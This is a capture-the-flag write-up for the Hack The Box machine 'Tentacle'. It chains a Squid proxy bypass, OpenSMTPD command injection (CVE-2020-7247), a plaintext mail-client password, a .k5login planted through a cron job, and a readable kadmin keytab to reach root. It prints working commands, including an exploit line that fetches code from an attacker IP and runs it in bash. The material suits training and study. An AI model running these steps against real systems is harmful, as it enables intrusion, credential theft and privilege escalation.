Hacking Tentacle

Overview

Tentacle is a Hard Linux machine centred on a misconfigured Kerberos realm (REALCORP.HTB). The path runs Squid proxy auth-bypass into an internal subnet, OS command injection in OpenSMTPD for the foothold, a plaintext mail-client password turned into a Kerberos ticket for the user shell, an arbitrary-file-write via a group-writable directory that a root cron copies into another user’s home, and finally an over-permissioned Kerberos keytab that hands out KDC admin rights — leading straight to root.

Recon

Port	Service
22	OpenSSH (Kerberos/GSSAPI auth)
53	ISC BIND (DNS)
88	Kerberos KDC
123	NTP
3128	Squid http proxy

nmap -sC -sV 10.10.10.224

Kerberos (88) plus a Squid proxy (3128) is the tell — this is a domain that authenticates over Kerberos, and the proxy is the way in.

Enumeration

The Squid landing page on 3128 discloses the domain realcorp.htb and an email address. DNS enumeration against the box reveals subdomains including wpad.realcorp.htb:

dnsenum --dnsserver 10.10.10.224 -f /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt realcorp.htb

Squid commonly ships with http_access allow localhost, so requests that appear to originate from 127.0.0.1 (or the proxy’s own internal interface) bypass proxy authentication. Chaining the proxy lets us fetch the WPAD PAC file, which exposes internal subnets configured for direct access. A PTR sweep of one of those subnets via the box’s DNS surfaces an internal host running SMTP:

for i in $(seq 1 254); do dig -x 10.241.251.$i +noall +answer @10.10.10.224; done

Foothold

The internal host runs OpenSMTPD 6.6, vulnerable to CVE-2020-7247 — an OS command injection in the local part of a mail address. Routed through the proxy, a crafted MAIL FROM runs a command as the mail daemon, giving a reverse shell on the internal box.

proxychains python3 47984.py 10.241.251.113 25 'wget 10.10.14.5; bash index.html'

On that host, the msmtp client config stores its SMTP password in cleartext — insufficiently protected credentials:

cat ~/.msmtprc        # plaintext password for j.nakazawa

SSH on the main box is Kerberos-only, so the password isn’t an SSH password — it’s a Kerberos password. Pin a local realm config at the KDC IP, request a ticket, and log in over GSSAPI. Using an SSH ProxyCommand lets the TCP connection go to the IP while srv01.realcorp.htb stays the principal label, so no /etc/hosts edit is needed.

Create krb5.conf:

[libdefaults]
    default_realm = REALCORP.HTB
    dns_lookup_kdc = false
[realms]
    REALCORP.HTB = { kdc = 10.10.10.224 }
[domain_realm]
    .realcorp.htb = REALCORP.HTB
    realcorp.htb = REALCORP.HTB

export KRB5_CONFIG=./krb5.conf
echo '<password>' | kinit [email protected]
ssh -K -o GSSAPIAuthentication=yes -o GSSAPITrustDns=no \
    -o "ProxyCommand=nc 10.10.10.224 22" [email protected]

User flag

cat /home/j.nakazawa/user.txt   # HTB{...}

Flag redacted. We have a shell as j.nakazawa, who is a member of the squid group.

Lateral Movement

A root cron job rsyncs /var/log/squid into /home/admin every minute:

cat /etc/crontab    # * * * * * admin /usr/local/bin/log_backup.sh

Because j.nakazawa can write /var/log/squid (squid group) and that directory is copied into admin’s home by root, we can plant a Kerberos .k5login there — incorrect permission assignment for a critical resource. A .k5login listing our principal grants it passwordless SSH as admin:

echo "[email protected]" > /var/log/squid/.k5login
ssh -K -o GSSAPIAuthentication=yes -o GSSAPITrustDns=no \
    -o "ProxyCommand=nc 10.10.10.224 22" [email protected]

A box cleanup wipes /home/admin/.k5login between cron ticks, so re-seed and grab the login in the short window after each run.

Privilege Escalation

/etc/krb5.keytab is readable by the admin group and contains the kadmin/[email protected] principal — effectively the master key to Kerberos administration (improper privilege management):

klist -kt /etc/krb5.keytab    # kadmin/[email protected] present

With kadmin rights we create a [email protected] principal, then ksu into local root (the principal root maps to UID 0). The -n flag forces the principal on the persistent keyring; ksu -e is not authorized, so commands are piped into the login shell instead:

kadmin -k -t /etc/krb5.keytab -p kadmin/[email protected] -q "addprinc -pw test root"
echo test | kinit [email protected]
printf 'id; cat /root/root.txt\n' | ksu root -n [email protected]

Root flag

cat /root/root.txt          # HTB{...}

Flag redacted. id shows uid=0(root) — full compromise.